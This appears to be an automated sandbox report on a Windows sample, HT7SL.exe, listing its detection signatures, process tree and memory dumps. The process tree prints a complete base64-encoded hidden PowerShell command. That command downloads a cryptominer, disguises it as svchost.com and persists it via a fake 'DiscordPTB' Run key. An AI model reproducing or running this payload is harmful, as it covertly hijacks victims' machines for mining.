Analysis

  • user interaction
    yes
  • max time kernel
    14s
  • max time network
    17s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/10/2026, 17:15

General

  • Target
    HT7SL.exe
  • Size 19.8MB
  • Sample261002-vstrvs1ard
  • SHA256 8a2a76187c2bb0e51a34ef6a38263a02ba7d52e23f358df1fd6eb131640712f4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\HT7SL.exe
    "C:\Users\Admin\AppData\Local\Temp\HT7SL.exe"
    1⤵
    • Checks BIOS information in registry
    • Suspicious use of WriteProcessMemory
    PID:4392
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABoAD0AJwAyADkAMQBBADEAMwBDAEMAQgA0ADIANQA1AEIAMgBDADYARQA3AEYARgAyAEIANgBCAEIAQQA0ADEAOQBEAEQAQgAzADgARgAzADEAMgBCAEUARAAyADMARABBADcANgBGADUANABBAEEAQwBFAEMAMAAxADUAMgA3ADYANgBFACcAOwBpAGYAKABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfAAlAHsAdAByAHkAewAkAF8ALgBQAGEAdABoAH0AYwBhAHQAYwBoAHsAfQB9AHwAPwB7ACQAXwB9AHwAcwBvAHIAdAAgAC0AdQB8AD8AewAoAEcAZQB0AC0ARgBpAGwAZQBIAGEAcwBoACAAJABfACAALQBBAGwAZwBvAHIAaQB0AGgAbQAgAFMASABBADIANQA2ACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBIAGEAcwBoACAALQBlAHEAIAAkAGgAfQApAHsAJwBhAGwAcgBlAGEAZAB5ACAAcgB1AG4AbgBpAG4AZwAnAH0AZQBsAHMAZQB7ACQAZAA9ACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAGkAYwByAG8AcwBvAGYAdABcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAIgA7AG4AaQAgACQAZAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAegA9ACIAJABkAFwAawAuAHoAaQBwACIAOwBpAHcAcgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AawByAHkAcAB0AGUAeAAtAG0AaQBuAGUAcgBzAC0AbwByAGcALwBrAHIAeQBwAHQAZQB4AC0AbQBpAG4AZQByAHMALwByAGUAbABlAGEAcwBlAHMALwBkAG8AdwBuAGwAbwBhAGQALwBrAHIAaQBnAC0AMQAtADUALQAzAC8AawByAGkAZwAtAG0AaQBuAGUAcgAtADEALgA1AC4AMwAtAHcAaQBuAC0AeAA2ADQALgB6AGkAcAAnACAALQBPAHUAdABGAGkAbABlACAAJAB6ADsAaQBmACgAKABHAGUAdAAtAEYAaQBsAGUASABhAHMAaAAgACQAegAgAC0AQQBsAGcAbwByAGkAdABoAG0AIABTAEgAQQAyADUANgApAC4ASABhAHMAaAAgAC0AbgBlACAAJwAxADkAMABCADAAOABGAEMAQwAwADMAMQA1ADQAQQA3AEQARgA1ADUAQwBCAEYANQAxADQAQwBBAEQARgAwADIAQwAxADUANgBBAEQAQwAxADMARgBCADIAQQA5ADYARgA1ADMAMgAzADQANgA5ADkARgBFADUAQQA0ADkARQBGACcAKQB7AHQAaAByAG8AdwAgACcASABhAHMAaAAgAGYAYQBsAHMAYwBoACcAfQA7AEUAeABwAGEAbgBkAC0AQQByAGMAaABpAHYAZQAgACQAegAgACQAZAAgAC0ARgBvAHIAYwBlADsATQBvAHYAZQAtAEkAdABlAG0AIAAiACQAZABcAGsAcgBpAGcALQBtAGkAbgBlAHIALgBlAHgAZQAiACAAIgAkAGQAXABzAHYAYwBoAG8AcwB0AC4AYwBvAG0AIgAgAC0ARgBvAHIAYwBlADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB6ACwAIgAkAGQAXABTAHQAYQByAHQALQBQAGUAYQByAGwALgBiAGEAdAAiACwAIgAkAGQAXABTAHQAYQByAHQALQBRAHUAYQBuAHQAdQBzAC4AYgBhAHQAIgAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAUwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAIgAkAGQAXABzAHQAYQByAHQALgB2AGIAcwAiACAAJwBTAGUAdAAgAHMAaAA9AEMAcgBlAGEAdABlAE8AYgBqAGUAYwB0ACgAIgBXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsACIAKQAgADoAIABzAGgALgBDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5AD0AcwBoAC4ARQB4AHAAYQBuAGQARQBuAHYAaQByAG8AbgBtAGUAbgB0AFMAdAByAGkAbgBnAHMAKAAiACUAQQBQAFAARABBAFQAQQAlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlACIAKQAgADoAIABzAGgALgBSAHUAbgAgACIAcwB2AGMAaABvAHMAdAAuAGMAbwBtACAALQAtAHUAcgBsACAAcwB0AHIAYQB0AHUAbQArAHMAcwBsADoALwAvAHAAcgBsAC4AawByAHkAcAB0AGUAeAAuAG4AZQB0AHcAbwByAGsAOgA4ADAANAA4ACAALQAtAHUAcwBlAHIAIABwAHIAbAAxAHAAYQBsAGoAYwBjADkAeQA3ADQAdwBlAGMAMwAwAHcAZQB1AHYAdwBkAG0AMgA5AGsAOQB6ADAANAA5AHoAdgBoAHgAeABkADMAZgBnAHoAZwBwAHAANAA2AGEAdwA5AHMAeQBwAGYAcQBsADIAZgB5AGoAdQAvAHIAaQBnADAAMQAgAC0ALQBnAHAAdQAtAGYAYQBuACAANwAwACIALAAgADAALAAgAEYAYQBsAHMAZQAnACAALQBFAG4AYwBvAGQAaQBuAGcAIABBAFMAQwBJAEkAOwBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAARABpAHMAYwBvAHIAZABQAFQAQgAgACgAJwB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIAAiACcAKwAkAGQAKwAnAFwAcwB0AGEAcgB0AC4AdgBiAHMAIgAnACkAOwB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIAAiACQAZABcAHMAdABhAHIAdAAuAHYAYgBzACIAfQA=
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2860

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_niecf02z.tkc.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_niecf02z.tkc.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2860-0-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp

        memory/2860-1-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp

        memory/2860-7-0x000001ECAFA90000-0x000001ECAFAB2000-memory.dmp

        memory/2860-10-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp

        memory/2860-11-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp

        memory/2860-12-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp

        memory/2860-13-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp

        memory/2860-14-0x000001ECAD9E0000-0x000001ECAD9F0000-memory.dmp